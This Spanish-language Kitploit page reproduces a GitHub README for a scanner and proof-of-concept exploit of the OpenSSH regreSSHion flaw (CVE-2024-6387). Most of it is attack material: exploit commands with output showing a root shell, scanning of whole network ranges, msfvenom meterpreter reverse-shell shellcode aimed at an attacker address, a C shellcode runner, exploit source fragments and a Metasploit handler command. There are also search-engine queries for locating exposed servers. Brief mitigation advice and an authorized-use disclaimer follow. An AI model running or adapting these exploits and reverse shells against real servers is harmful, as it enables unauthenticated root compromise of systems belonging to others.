Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-6387 — PoC - Vulnerabilidad de Ejecución Remota de Código No Autenticada en OpenSSH server (Scanner y Exploit) | Kitploit
Herramientas/GitHubGitHub/l0n3m4n/cve-2024-6387
ReconocimientoAnálisis de VulnerabilidadesExplotaciónShellcodeSeguridad de RedesPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC - Vulnerabilidad de Ejecución Remota de Código No Autenticada en OpenSSH server (Scanner y Exploit)

113398hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

openssh CVE-2024-6387 - PoC

📜 Descripción

Nota: Este script es un PoC prototipo rápido, espere que puedan ocurrir algunos errores y fallos. Probado en: Kali Linux, ParrotSec, Ubuntu 22.04

Vulnerabilidad de ejecución remota de código no autenticado en el servidor OpenSSH

Se encontró una condición de carrera en el manejador de señales del servidor OpenSSH (sshd), donde un cliente no se autentica dentro de los segundos LoginGraceTime (120 por defecto, 600 en versiones antiguas de OpenSSH), entonces el manejador SIGALRM de sshd es llamado asincrónicamente. Sin embargo, este manejador de señales llama a varias funciones que no son seguras para señales asincrónicas, por ejemplo, syslog().

📁 Tabla de Contenidos

  • 📖 Detalles
  • ⚙️ Uso
  • 🔍 Descubrimiento de Hosts
  • 🛠️ Mitigación
  • 💁 Referencias
  • 📌 Autor
  • 📢 Descargo de responsabilidad

✍🏻 Detalles

Puede encontrar los detalles técnicos aquí.

La falla, descubierta por investigadores de Qualys en May 2024 y asignada con el identificador CVE-2024-6387, se debe a una condición de carrera en el manejador de señales de sshd que permite a atacantes remotos no autenticados ejecutar código arbitrario como root.

"Si un cliente no se autentica dentro de los segundos LoginGraceTime (120 por defecto), entonces el manejador SIGALRM de sshd es llamado asincrónicamente y llama a varias funciones que no son seguras para señales asincrónicas,"

"Un atacante remoto no autenticado puede aprovechar esta falla para ejecutar código arbitrario con privilegios de root."

⚙️ Uso

Escaneando el servidor OpenSSH

Requisito: python3 (última versión)

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Exportación (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Múltiples objetivos

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Agregando timeout

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Rangos de red

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Puerto personalizado

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Proceso de escalada

Obteniendo una shell reversa

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Payload personalizado

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Payload real

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Compilando e iniciando el payload

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Ejecutando el payload

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Capturando el payload

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Descubrimiento de Hosts

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Mitigación

  • Gestión de Parches: Aplicar rápidamente los parches disponibles para OpenSSH es fundamental para cerrar la brecha de vulnerabilidad. La aplicación oportuna de parches garantiza que los exploits conocidos no puedan ser aprovechados contra sus sistemas, reduciendo así la ventana de oportunidad para los atacantes.

  • Control de Acceso Mejorado: Limitar el acceso SSH a través de controles basados en la red agrega una capa adicional de defensa. Este enfoque minimiza la exposición a posibles atacantes al restringir las conexiones SSH solo a redes o direcciones IP autorizadas. La implementación de herramientas como reglas de firewall o el uso de VPN para acceso seguro puede imponer estas restricciones de manera efectiva.

  • Segmentación de Red: Dividir su red en segmentos ayuda a contener el impacto de una posible violación. Al segmentar los sistemas críticos y los datos sensibles de las partes menos críticas de su red, reduce el riesgo de movimiento lateral por parte de los atacantes. Esta segmentación puede complementarse con controles de acceso estrictos y monitoreo para detectar y responder a cualquier intento no autorizado de violar estos segmentos.

  • Sistemas de Detección de Intrusiones (IDS): Implementar IDS o sistemas de prevención de intrusiones (IPS) permite la monitorización en tiempo real del tráfico de red y los registros del sistema. Estos sistemas pueden detectar actividades sospechosas y posibles intentos de explotación asociados con la vulnerabilidad regreSSHion. Las alertas generadas por dichos sistemas permiten una investigación y mitigación rápidas antes de que ocurran daños significativos.

  • Monitoreo de Intentos de Explotación: El monitoreo continuo de los registros de red y del sistema es crucial. Busque cualquier patrón o actividad inusual que pueda indicar un intento de explotar la vulnerabilidad de OpenSSH. Este enfoque proactivo ayuda a identificar y responder a las amenazas antes de que puedan causar daño.

💁 Referencias

  • Autor Original: CVE-2024-6387 Scanner
  • Autor Original: CVE-2024-6387 PoC

Más referencias

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 Autor

  • Facebook
  • Twitter (X)
  • Medium
  • Sitio web

📢 Descargo de responsabilidad

  • Nota importante:
    • Esta herramienta se desarrolla y utiliza únicamente para pruebas de penetración autorizadas y ejercicios de red team. Está diseñada para identificar y explotar vulnerabilidades en el servidor OpenSSH, en sistemas Linux basados en glibc. El uso no autorizado de esta herramienta está estrictamente prohibido. El propietario de esta herramienta no se hace responsable de ningún acceso no autorizado o uso malicioso de la misma.
  • Aviso legal:
    • El uso no autorizado de esta herramienta en sistemas o redes sin la autorización explícita de los respectivos propietarios puede violar las leyes y regulaciones aplicables. Los usuarios son responsables de garantizar el cumplimiento de los estándares legales y éticos que rigen las pruebas y evaluaciones de ciberseguridad.
Descargar herramienta
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/